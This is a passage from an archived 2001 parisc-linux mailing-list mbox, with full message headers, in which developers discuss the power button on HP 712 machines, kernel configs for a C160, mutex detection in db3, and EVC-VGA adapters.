	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 07:32:05 -0700 (MST)
Original-Received: from nlntadn.ats.nld.alcatel.nl (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id fAMEVh317578;
	Thu, 22 Nov 2001 15:31:53 +0100 (MET)
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2650.21)
	id <V1DW6CHD>; Thu, 22 Nov 2001 15:31:42 +0100
X-Mailer: Internet Mail Service (5.5.2650.21)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13187

Under hp-ux, if you press the "power-button" on the front, the system traps
it, and performs a "shutdown -h now"  (at least it takes ages to stop)
So the button on the front is not a BRS, but just generates a irq (on some
systems anyway....)

I presume this irq could be trapped under linux aswell, not?

Hans
	-----Original Message-----
	From:	Jan-Benedict Glaw [SMTP:jbglaw@lug-owl.de]
	Sent:	Thursday, November 22, 2001 2:53 PM
	To:	parisc-linux@lists.parisc-linux.org
	Subject:	Re: [parisc-linux] Power button on 712

	On Thu, 2001-11-22 15:48:41 +0200, Kaj-Michael Lang <milang@tal.org>
	wrote in message <003801c1735c$6581b7b0$56dc10c3@amos>:
	> This might sound really strange but anyway:
	> 
	> Should the power button work under Linux ?
	> Even after halting I need to pull the cord to get my machine to
power down,
	> as it won't respond to the the power button.

	During initialisation of hardware (the front LED is blinking) you
	can "easily" switch off the machine. But, after the OS was started,
	it's not such a good idea to allow an user to simply fiddle with
	the BRS (-> big red switch). Try to /sbin/poweroff or to /sbin/halt
	your box and try again:-)

	MfG, JBG

	-- 
	Jan-Benedict Glaw   .   jbglaw@lug-owl.de   .   +49-172-7608481
		http://lug-owl.de/~jbglaw/software/snapshot2cvs/

	_______________________________________________
	parisc-linux mailing list
	parisc-linux@lists.parisc-linux.org
	http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:20:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] working .config for C160/2.4.14 ?
Date: Thu, 22 Nov 2001 15:35:23 +0100 (CET)
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.40.0111221532510.21081-100000@r6.petescaff.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620796 30719 80.91.229.3 (22 Nov 2014 01:46:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 07:35:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id 57BB2482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 07:35:25 -0700 (MST)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.22 #5)
	id 166uvW-0001Va-00
	for parisc-linux@lists.parisc-linux.org; Thu, 22 Nov 2001 15:34:06 +0100
Original-Received: from apm (helo=localhost)
	by r6.petescaff.com with local-esmtp (Exim 3.32 #1 (Debian))
	id 166uwl-0005em-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 15:35:24 +0100
X-X-Sender: apm@r6.petescaff.com
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13188

I am trying to build a bootable kernel for my C160 & am having a few
problems. The box is currently running a kernel I tweaked for my 712/80i
but it is rather old & I am suffering from SCSI problems.

Does anyone have a usable .config they could mail me for this box for
2.4.16-pa* ?

TIA
PeteM




From - Thu Nov 08 21:20:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurijus@theophys.kth.se>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Power button on 712
Date: Thu, 22 Nov 2001 15:39:31 +0100 (CET)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0111221534400.22553-100000@uranus.theophys.kth.se>
References: <1A8904C3797ED411AC2E0008C7E6F88117CAC0@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620796 30720 80.91.229.3 (22 Nov 2014 01:46:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 07:39:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from medea.theophys.kth.se (medea.theophys.kth.se [130.237.25.82])
	by dsl2.external.hp.com (Postfix) with SMTP id 0B253482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 07:39:33 -0700 (MST)
Original-Received: (qmail 19601 invoked from network); 22 Nov 2001 14:39:15 -0000
Original-Received: from uranus.theophys.kth.se (130.237.25.178)
  by medea.theophys.kth.se with SMTP; 22 Nov 2001 14:39:15 -0000
In-Reply-To: <1A8904C3797ED411AC2E0008C7E6F88117CAC0@nlntmail2b.ats.nld.alcatel.nl>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13189

On Thu, 22 Nov 2001, Witvliet, Hans wrote:

> Under hp-ux, if you press the "power-button" on the front, the system traps
> it, and performs a "shutdown -h now"  (at least it takes ages to stop)
> So the button on the front is not a BRS, but just generates a irq (on some
> systems anyway....)
> 
> I presume this irq could be trapped under linux aswell, not?

Hi!

I've posted a question about that on the list some time ago. According to
lasi docs, cutting of the power with the power switch should generate a
power failure interrupt, which I thought I could catch and make a clean
shutdown. I suppose, that it should be an interruption with code 2, so
I've added a handler for that in arch/parisc/kernel/traps.c (I think).
Well, it never became triggered by the power switch, and I have no idea,
why.

Best regards,

Jurij





From - Thu Nov 08 21:20:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] working .config for C160/2.4.14 ?
Date: Thu, 22 Nov 2001 15:41:55 +0100 (CET)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.40.0111221540150.21081-100000@r6.petescaff.com>
References: <Pine.LNX.4.40.0111221532510.21081-100000@r6.petescaff.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620797 30721 80.91.229.3 (22 Nov 2014 01:46:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 07:41:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2EC8F482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 07:41:56 -0700 (MST)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.22 #5)
	id 166v1p-0001Vt-00
	for parisc-linux@lists.parisc-linux.org; Thu, 22 Nov 2001 15:40:37 +0100
Original-Received: from apm (helo=localhost)
	by r6.petescaff.com with local-esmtp (Exim 3.32 #1 (Debian))
	id 166v35-0005fA-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 15:41:55 +0100
X-X-Sender: apm@r6.petescaff.com
In-Reply-To: <Pine.LNX.4.40.0111221532510.21081-100000@r6.petescaff.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13190

Before anyone asks how I am getting so far ahead of Linus & AC the version
below should of course be 2.2.14-pa*.

On Thu, 22 Nov 2001, Peter Mottram wrote:

> I am trying to build a bootable kernel for my C160 & am having a few
> problems. The box is currently running a kernel I tweaked for my 712/80i
> but it is rather old & I am suffering from SCSI problems.
>
> Does anyone have a usable .config they could mail me for this box for
> 2.4.16-pa* ?
>
> TIA
> PeteM
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>




From - Thu Nov 08 21:20:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Betr.: [parisc-linux] working .config for C160/2.4.14 ?
Date: Thu, 22 Nov 2001 15:41:46 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <sbfd2062.007@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620797 30723 80.91.229.3 (22 Nov 2014 01:46:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:37 +0000 (UTC)
To: "<" <parisc-linux@lists.parisc-linux.org>, <peter@petescaff.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 07:59:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id B195E482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 07:59:01 -0700 (MST)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id PAA11690 for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 15:59:00 +0100 (MET)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma011478; Thu, 22 Nov 01 15:57:46 +0100
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Thu, 22 Nov 2001 15:57:22 +0100
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13191

>I am trying to build a bootable kernel for my C160 & am having a few
>problems. The box is currently running a kernel I tweaked for my 712/80i
>but it is rather old & I am suffering from SCSI problems.
>
>Does anyone have a usable .config they could mail me for this box for
>2.4.16-pa* ?
>
My C200 runs fine when I run

make oldconfig

in a pristine kernel tree.

You'll get the default config, which has some sensible values. All you =
have to
choose is the processor-type. I could choose PA8x00, but that still gives
errors when I run 'make mrproper' in the kernel tree, so I always choose =
PA7x00.

Good luck,
Jurriaan




From - Thu Nov 08 21:20:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mutexes ?
Date: Thu, 22 Nov 2001 15:26:41 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20011122152641.B10023@parcelfarce.linux.theplanet.co.uk>
References: <20011122103209.A1789@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620797 30726 80.91.229.3 (22 Nov 2014 01:46:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Allen <ra@hp.is>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 08:26:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D976482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 08:26:43 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 166vkP-0001vu-00; Thu, 22 Nov 2001 15:26:41 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011122103209.A1789@hp.is>; from ra@hp.is on Thu, Nov 22, 2001 at 10:32:09AM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13192

On Thu, Nov 22, 2001 at 10:32:09AM +0000, Richard Allen wrote:
> Is there a problem with threads and/os mutexes on parisc linux, or is it
> just me ?
> 
> checking for mutexes... no
> configure: WARNING: THREAD MUTEXES NOT AVAILABLE FOR THIS COMPILER/ARCHITECTURE.

what package?  many programs implement their own mutex support -- there's
nothing wrong with the ones in glibc.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mutexes ?
Date: Thu, 22 Nov 2001 16:50:26 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20011122165026.D14821@hp.is>
References: <20011122103209.A1789@hp.is> <20011122152641.B10023@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620798 30729 80.91.229.3 (22 Nov 2014 01:46:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 09:50:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E402482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 09:50:30 -0700 (MST)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id fAMGoQ811499;
	Thu, 22 Nov 2001 16:50:26 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011122152641.B10023@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Thu, Nov 22, 2001 at 03:26:41PM +0000
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13193

On Thu, Nov 22, 2001 at 03:26:41PM +0000, Matthew Wilcox wrote:
> On Thu, Nov 22, 2001 at 10:32:09AM +0000, Richard Allen wrote:
> > Is there a problem with threads and/os mutexes on parisc linux, or is it
> > just me ?
> > 
> > checking for mutexes... no
> > configure: WARNING: THREAD MUTEXES NOT AVAILABLE FOR THIS COMPILER/ARCHITECTURE.
> 
> what package?  many programs implement their own mutex support -- there's
> nothing wrong with the ones in glibc.

Its rpm 4.0.3.   The DB people think my crash problem in DB3 has something
to do with mutexes and looking at the output from configure Id say it
is a definate possibility.

-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.



From - Thu Nov 08 21:20:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mutexes ?
Date: Thu, 22 Nov 2001 08:55:19 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <20011122085519.T391@tausq.org>
References: <20011122103209.A1789@hp.is> <20011122152641.B10023@parcelfarce.linux.theplanet.co.uk> <20011122165026.D14821@hp.is>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620798 30732 80.91.229.3 (22 Nov 2014 01:46:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:38 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Richard Allen <ra@hp.is>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 09:55:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08358482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 09:55:43 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id chdejaaa for parisc-linux@lists.parisc-linux.org; Thu, 22 Nov 2001 09:50:34 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 166x8B-0004AE-00; Thu, 22 Nov 2001 08:55:19 -0800
Content-Disposition: inline
In-Reply-To: <20011122165026.D14821@hp.is>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13194

> Its rpm 4.0.3.   The DB people think my crash problem in DB3 has something
> to do with mutexes and looking at the output from configure Id say it
> is a definate possibility.

that configure is from db3? This was fixed ages ago...... i hope the
brokenness didn't sneak back in...

randolph
-- 
Debian Developer <tausq@debian.org>
http://www.TauSq.org/



From - Thu Nov 08 21:20:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: andi <andi@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Need EVC-VGA adapter
Date: 22 Nov 2001 18:14:14 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <1006449254.5420.0.camel@cube>
References: <Pine.OSF.4.41.0111211621080.10763-100000@student.cs.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620798 30736 80.91.229.3 (22 Nov 2014 01:46:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Markus Grabert <xam@student.cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 10:13:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tentakel.fischlustig.de (pD9001D60.dip.t-dialin.net [217.0.29.96])
	by dsl2.external.hp.com (Postfix) with SMTP id E0D2A482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 10:13:26 -0700 (MST)
Original-Received: (qmail 28171 invoked from network); 22 Nov 2001 17:13:22 -0000
Original-Received: from cube.fischlustig.de (andi@192.168.1.14)
  by tentakel.fischlustig.de with SMTP; 22 Nov 2001 17:13:22 -0000
In-Reply-To: <Pine.OSF.4.41.0111211621080.10763-100000@student.cs.ucc.ie>
X-Mailer: Evolution/0.99.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13195

> I recently purchased a C240.
> 
> Unfortunately no EVC-VGA adapter was in the package.
> I thought it is quite easy to get these (since EVC is
> the new VESA standard), but I just found a few Internet
> companies who sell them. The adapter itself is rather expensive,
> usually about 50 EURO.

I have excactly the same problem, but I am living in germany. any chance
here?

another solution would be to get another graphics card for the C240
which has a standart vga port.

andi





From - Thu Nov 08 21:20:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CFLAGS on parisc linux
Date: Thu, 22 Nov 2001 17:26:05 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20011122172605.C11638@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620799 30740 80.91.229.3 (22 Nov 2014 01:46:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 10:26:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64D54482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 10:26:06 -0700 (MST)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id fAMHQ5r11921
	for parisc-linux@lists.parisc-linux.org; Thu, 22 Nov 2001 17:26:05 GMT
